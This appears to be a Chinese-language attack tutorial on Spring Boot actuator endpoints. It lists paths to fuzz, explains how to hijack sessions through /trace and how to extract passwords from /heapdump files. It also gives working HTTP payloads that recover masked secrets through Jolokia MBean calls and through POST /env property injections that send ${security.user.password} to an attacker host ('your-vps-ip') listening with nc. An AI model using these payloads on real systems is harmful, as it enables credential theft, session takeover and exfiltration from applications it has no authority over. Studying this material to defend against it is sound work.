Spring Bootp平台攻击手法
Spring Boot 端点Fuzz技巧
一些开发者会修改Spring根路径/管理端点名称,比如:
- /manage
- /management
- /monitor
- 项目 App 相关名称
还有修改端点名称的,比如:
- /env => /appenv
- /health => /healthcheck
一般来讲,暴露出 Spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以 “默认安全” 来讲,不暴露出这些信息更加安全。对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解。下面就列举一些相关的路由:
/v2/api-docs
/swagger-ui.html
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
这里做一个约定,路由 = 网络路径 = 端点
除此之外,还有一些Spring Boot的默认路由,如下
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
Spring Boot 端点敏感信息泄露
如果开发者没做端点保护/端点保护不严格,就可能导致端点敏感信息泄露
概述
这里概述一下寻找漏洞比较重要端点:
-
/env、/actuator/env【GET】:
- 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息
- 当开发者的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文
- 有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞
- 有概率获得星号遮掩的密码、密钥等重要隐私信息的明文
-
/refresh、/actuator/refresh【POST】:请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh接口刷新属性变量来触发相关 RCE 漏洞
-
/restart、/actuator/restart【POST】:暴露出此接口的情况较少,可以配合 POST 请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞
-
/shutdown、/actuator/shutdown【POST】:用来关闭应用程序,这个端点一般不开放,一般也不会去测试,扫描器更加不可能将这个列为扫描端点(万一真的暴露了这个端点,扫到了就直接把业务程序关闭了)。这里讲一个判定技巧:这个端点只有使用POST请求的时候才会触发关闭,如果存在这个端点,可以先尝试GET请求,出现"Method Not Allowed"的字样则说明是存在的
shutdown端点默认是关闭的。可以在application.properties中配置management.endpoint.shutdown.enabled=true来启用该端点
下面通过视频演示访问shutdown端点,体会关闭应用程序的危险性
-
/jolokia、/actuator/jolokia:可以通过 /jolokia/list接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等
-
/trace、/actuator/httptrace:一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情,以及有效用户或管理员的 session、cookie、jwt token 等信息
下面展开来讲
trace 泄露用户请求信息
此端点允许查看 HTTP 请求和响应的跟踪信息,包括请求和响应的头部、参数等。
# Spring Boot 2.x
http://127.0.0.1:8200/actuator/trace
# Spring Boot 1.x
http://127.0.0.1:8200/trace
# 其他
http://127.0.0.1:8200/httptrace
http://127.0.0.1:8200/actuator/httptrace
通过这个我们可以获取到请求这个站点时的完整的http包,其中就可能包括正常用户的session,从而导致我们可以直接接管登录,如果遇到管理员的会话,那么危害就可能进一步扩大。
mappings 泄露路由信息
该端点用于描述全部的 URI 路径,以及和控制器的映射关系
# Spring Boot 2.x
http://127.0.0.1:8100/actuator/mappings
# Spring Boot 1.x
http://127.0.0.1:8200/mappings
heapdump 泄露堆栈信息
HeapDump文件是JVM虚拟机运行时内存的一个快照,通常用于性能分析等,但是因为其保存了对象、类等相关的信息,如果被泄露也会造成信息泄露。HeapDump文件会通过/heapdump端点暴露出来(可以通过/heapdump端点下载heapdump文件,泄露JAVA堆栈信息)
# Spring Boot 2.x
http://127.0.0.1:8100/heapdump
# Spring Boot 1.x
http://127.0.0.1:8200/actuator/heapdump
其中可以窃取到一些关键的信息,比如一些关键的Key,或者数据库连接密码,但是大多扫描工具没把它列为扫描端点。
使用Eclipse Memory Analyzer获取
通过这个端点下载HeapDump文件后,我们可以用"Eclipse Memory Analyzer"内存分析工具,来搜索特殊字符,比如password、token等。
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
使用Java VisualVM获取
除了"Eclipse Memory Analyzer"内存分析工具之外,还可以使用一款在安装了JDK6U7及以上版本会自动安装的名为"Java VisualVM"的工具。Java VisualVM的路径在JDK安装目录下的bin文件夹中,程序名为jvisualvm.exe
,双击启动即可(或者在cmd命令行中直接输入jvisualvm
)
之后导入下载到的HeapDump文件,打开QOL控制台
在查询编辑器输入查询语句即可
使用jhat获取
jhat也是jdk自带的用于分析JVM heapdump文件的工具。
jhat -J-mx512M heapdump
执行过后会在本地启动一个端口7000的http服务,进行访问后利用搜索关键词依次查找即可
使用JDumpSpider获取
下载地址:https://github.com/whwlsfb/JDumpSpider
此工具需要使用Java 1.6或更高版本
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
使用heapdump_tool获取
下载地址:https://github.com/wyzxxz/heapdump_tool
java -jar heapdump_tool.jar heapdump
env 泄露配置信息
这个端点会泄露系统版本、环境变量、内网地址等信息(甚至可能直接导致数据库密码泄露)
# Spring Boot 2.x
http://127.0.0.1:8100/actuator/env
# Spring Boot 1.x
http://127.0.0.1:8200/env
但是一些敏感信息会被关键词匹配,做隐藏*处理(即星号脱敏)
当遇到访问 /actuator 可以访问,但再访问如 /env 的时候被拦截,这个时候可以尝试以下方法:
-
更换请求方法
-
/actuator;/env;
-
/actuator/; /env
-
Content-Type改为application/json
-
大数据包绕过
下面再讲讲如何绕过星号脱敏
绕过星号脱敏
方法1:
-
利用条件
-
目标网站存在 /jolokia或 /actuator/jolokia接口
- 目标使用了 jolokia-core依赖
-
-
利用方法
-
找到想要获取的属性名:GET 请求目标网站的
/env
或/actuator/env
接口,搜索******
关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名 -
jolokia 调用相关 Mbean 获取明文:
将下面示例中的 security.user.password替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的
value
键中# Spring Boot 1.x POST /jolokia Content-Type: application/json {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} # Spring Boot 2.x POST /actuator/jolokia Content-Type: application/json {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
调用 org.springframework.bootMbean。实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法。
# Spring Boot 1.x POST /jolokia Content-Type: application/json {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} # Spring Boot 2.x POST /actuator/jolokia Content-Type: application/json {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
调用org.springframework.cloud.context.environmentMbean。实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法
或者调用其他 Mbean,因为目标具体存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。
-
方法2:
-
利用条件
-
可以 GET 请求目标网站的 /env
-
可以 POST 请求目标网站的 /env
-
可以 POST 请求目标网站的 /refresh接口刷新配置(存在 spring-boot-starter-actuator依赖)
-
目标使用了 spring-cloud-starter-netflix-eureka-client依赖
-
目标可以请求攻击者的服务器(请求可出外网)
-
-
利用方法
-
找到想要获取的属性名:GET 请求目标网站的
/env
或/actuator/env
接口,搜索******
关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 -
使用 nc 监听 HTTP 请求:在自己控制的外网服务器上监听 80 端口。如下
nc -lvk 80
-
设置 eureka.client.serviceUrl.defaultZone 属性:将下面
http://value:${security.user.password}@your-vps-ip
中的security.user.password
换成自己想要获取的对应的星号 * 遮掩的属性名# Spring Boot 1.x POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip # Spring Boot 2.x POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
-
刷新配置:
# Spring Boot 1.x POST /refresh Content-Type: application/x-www-form-urlencoded # Spring Boot 2.x POST /actuator/refresh Content-Type: application/json
-
解码属性值:正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下
Authorization
头内容Authorization: Basic dmFsdWU6MTIzNDU2
将其中的
dmFsdWU6MTIzNDU2
部分使用 base64 解码,即可获得类似明文值value:123456
,其中的123456
即是目标星号 * 脱敏前的属性值明文。
-
方法3:
-
利用条件
- 通过 POST /env设置属性触发目标对外网指定地址发起任意 http 请求
- 目标可以请求攻击者的服务器(请求可出外网)
-
利用方法
-
找到想要获取的属性名:GET 请求目标网站的
/env
或/actuator/env
接口,搜索******
关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 -
使用 nc 监听 HTTP 请求:在自己控制的外网服务器上监听 80 端口
nc -lvk 80
-
触发对外 http 请求:
# 使用spring.cloud.bootstrap.location方法(同时适用于明文数据中有特殊 url 字符的情况) # Spring Boot 1.x POST /env Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password} # Spring Boot 2.x POST /actuator/env Content-Type: application/json {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"} # 使用eureka.client.serviceUrl.defaultZone方法(不适用于明文数据中有特殊 url 字符的情况) # Spring Boot 1.x POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password} # Spring Boot 2.x POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
-
刷新配置:
# Spring Boot 1.x POST /refresh Content-Type: application/x-www-form-urlencoded # Spring Boot 2.x POST /actuator/refresh Content-Type: application/json
-
方法4:
-
说明:这种方法就是利用 /heapdump 端点泄露堆栈信息从而获取星号脱敏的敏感信息明文
-
利用条件
- 可正常 GET 请求目标 /heapdump或 /actuator/heapdump端点
-
利用方法(和 /heapdump 端点泄露堆栈信息相同)
-
找到想要获取的属性名:GET 请求目标网站的
/env
或/actuator/env
接口,搜索******
关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 -
下载Heapdump文件:
GET
请求目标的/heapdump
或/actuator/heapdump
接口,下载应用实时的 JVM 堆栈信息下载的 Heapdump 文件大小通常在 50M~500M 之间,有时候也可能会大于 2G
-
加载Heapdump文件,使用
Eclipse Memory Analyzer
、Java VisualVM
等软件加载Heapdump文件,通过OQL语句搜索敏感信息(如:password)select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password")) 或 select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
这里补充一下对OQL语句的介绍
-